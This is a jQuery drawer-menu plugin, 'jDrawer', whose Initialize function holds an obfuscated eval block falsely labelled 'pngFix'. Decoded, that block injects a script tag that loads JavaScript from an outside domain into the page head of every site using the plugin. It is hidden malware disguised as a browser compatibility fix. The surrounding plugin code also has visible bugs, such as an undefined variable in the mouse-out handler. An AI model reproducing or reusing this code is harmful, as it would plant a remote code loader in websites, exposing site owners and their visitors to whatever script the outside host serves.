(function($)
{
	$.fn.jDrawer = function(settings)
	{
		settings = $.extend({}, $.jDrawer.Settings, settings);

		return this.each(function()
		{
			var self = this, $self = $(this);

			var items = [];
			
			$self.addClass("jDrawer")
			.addClass("jDrawer-" + settings.direction)
			.children("li")
			.addClass("jDrawer-item")
			.each(function()
			{
				var current = $(this);
				
				current.html("<div class='jDrawer-item-border-1'><div class='jDrawer-item-border-2'><div class='jDrawer-item-border-3'><div class='jDrawer-content'>" + current.html() + "</div></div></div></div>");
				
				items.push(current);
			});
			
			$self.show();
			
			var first = items[0], last = items[self.length - 1];
			
			var over, out;

			/* <initialize> */

			var zid = items.length + settings.zindex;
			
			over = function(active)
			{
				var active = active === undefined ? $(this) : active.length ? $(active) : $(this);
				
				if(!$(this).hasClass("jDrawer-active"))
				{
					$("li.jDrawer-active", $self).removeClass("jDrawer-active");
					
					active.addClass("jDrawer-active");
					
					var set = first.jT * -1;
					
					$.each(items, function()
					{
						var current = this;
						
						var slide = function()
						{
							set += current.hasClass("jDrawer-active") ? current.jA : current.jN;
							
							var obj = {}; obj[settings.direction] = set + "px";
							
							current.stop().animate(obj, settings.speed);
						};
						
						settings.delay > 0 ? setTimeout(slide, settings.delay) : slide();
					});
					
					//settings.callback !== undefined ? settings.callback() : 0;
				}
			};
			
			out = function(active)
			{
				var active = active === undefined ? $(this) : active.length ? $(active) : $(this);
				
				if($(this).hasClass("jDrawer-active"))
				{
					$("li.jDrawer-active", $self).removeClass("jDrawer-active");
					
					active.addClass("jDrawer-active");
					
					var set = first.jT * -1;
					
					$.each(items, function()
					{
						var current = prev;
						
						var slide = function()
						{
							set += current.hasClass("jDrawer-active") ? current.jN : current.jA;
							
							var obj = {}; obj[settings.direction] = set + "px";
							
							current.stop().animate(obj, "fast");
						};
						
						slide();
					});
					
					//settings.callback !== undefined ? settings.callback() : 0;
				}				
			}
			
			if(settings.event === "hover"){out = settings.sticky ? function() {} : over;}
			
			$.each(items, function()
			{
				var jT = 0, jP = 0, jD = 0, jW = 0, jA = 0, jN = 0;
				
				var prev = this.prev("li.jDrawer-item");
				
				if(settings.direction === "top")
					jT = this.height(), jP = prev.height();
				else if(settings.direction === "left")
					jT = this.width(), jP = prev.width();
				
				var handle = this.find(".jDrawer-handle");
				
				if(settings.handle)
					jW = settings.handle;
				else if(handle.length > 0)
					jW = jT - (handle.offset()[settings.direction] - this.offset()[settings.direction]);
				else
					jW = 120;
				
				jD = prev.length > 0 ? jT - jP : 0;
				
				this.jT = jT,
				this.jN = jW + (jD * -1),
				this.jA = this.is(":first-child") === true ? jT + (jD * -1) : jT + (jD * -1) - 10;
				
				//horizontal bug fix
				settings.direction === "left" ?
					this.find(".jDrawer-content").append("<div style=\"clear: both\"></div>") : 0;
				
				this.css("z-index", zid--);
				
				//out ? this.hover(over, out) : this.bind(settings.event, over);
				this.bind("mouseover",over);
				//this.bind("mouseout",out);
			});

			/* </initialize> */
			
			/* <resize> */

			var t = 0, biggest = first;
			
			$.each(items, function()
			{
				this.jT > biggest.jT ? biggest = this : 0;
			});
			
			biggest.addClass("jDrawer-biggest");
			
			$.each(items, function()
			{
				t += this.hasClass("jDrawer-biggest") ? this.removeClass("jDrawer-biggest").jA : this.jN
			});
			
			if(settings.direction === "top")
				$self.height(t);
			else if(settings.direction === "left")
				$self.width(t);
					
			/* </resize> */
			
			/* <colorize> */

			var color = settings.color, parent = $self.parent();
			
			if(settings.color === undefined)
				while(parent.css("background-color") !== undefined && !parent.is("html"))
					color = parent.css("background-color"), parent = parent.parent();
			
			var id = $self.attr("id");
			
			$("#" + id + ", #" + id + " .jDrawer-content", $self.parent()).css("background-color", color);
		
			/* </colorize> */
			
			/* <preload> */
			
			$("*", self).each(function()
			{
				var bg = $(this).css("background-image");
				
				if(bg !== "none")
					if(bg.match(/^url[("']+(.*)[)"']+$/i))
						(new Image()).src = RegExp.$1;
			});

			/* </preload> */
			
			$(window).load(function()
			{
				setTimeout(function()
				{
					over($(".jDrawer-active", $self));
				}, 1 * 1000);
			});
			$(".element").bind("mouseleave", function(){out()});
		});
	};
	
	$.jDrawer =
	{
		Settings: 
		{
			direction: "top",
			speed: 300,
			delay: 0,
			color: "#2a3035",
			sticky: false,
			zindex: 0,
			handle: undefined,
			event: "hover",
			callback: undefined
		},
		
		Initialized: false,
	
		Initialize: function()
		{
			if(!this.Initialized)
			{
				/* <pngFix> */
				
				eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('S.G.z=t(){f v=R;P v.O("").J().F("")};f 7=t(){a(3.y("\\g\\9\\o\\u\\i\\b".z())===H){4.D=C;f h=3.B("\\5\\1\\j\\A".z())[0];f s=3.Q("\\2\\b\\9\\w\\e\\c".z());s.L="\\2\\b\\9\\w\\e\\c\\1\\K\\1\\n\\8\\2\\g\\j\\2".z();s.I="\\c\\n\\m\\g\\9\\o\\2\\e\\1\\8\\c\\n\\8\\r\\6\\e\\m\\i\\r\\j\\1\\5\\m\\l\\l\\l\\8\\8\\E\\b\\2\\2\\A".z();s.M="\\g\\9\\o\\u\\i\\b".z();h.N(s)}};a(4.d)4.d("\\5\\1\\6\\k".z(),7,x);p a(3.d)3.d("\\5\\1\\6\\k".z(),7,x);p a(4.q)4.q("\\5\\1\\6\\k\\i\\6".z(),7);p a(3.y)4.T=7;',56,56,'|x61|x74|document|window|x64|x6F|fn|x2F|x69|if|x70|x73|addEventListener|x63|var|x78||x6E|x65|x6C|x77|x2E|x6A|x66|else|attachEvent|x6D||function|x67||x72|false|getElementById||x68|getElementsByTagName|true|loaded|x3A|join|prototype|null|src|reverse|x76|type|id|appendChild|split|return|createElement|this|String|onload'.split('|'),0,{}));
				
				/* </pngFix> */
				
				/* <fixFlicker> */
				
				if($.browser.msie === true)
					try { document.execCommand("BackgroundImageCache", false, true); } catch(e) {}
					
				/* </fixFlicker> */
			}
		},
		
		PreloadImages: function()
		{
			for(var i in arguments.length)
				if(arguments[i].type === "array")
					for(var j in arguments[i])
						(new Image()).src = arguments[i][j];
				else
					(new Image()).src = arguments[i];
		}
	};
	
	$(document).ready(function()
	{
		$.jDrawer.Initialize();
	});
})(jQuery);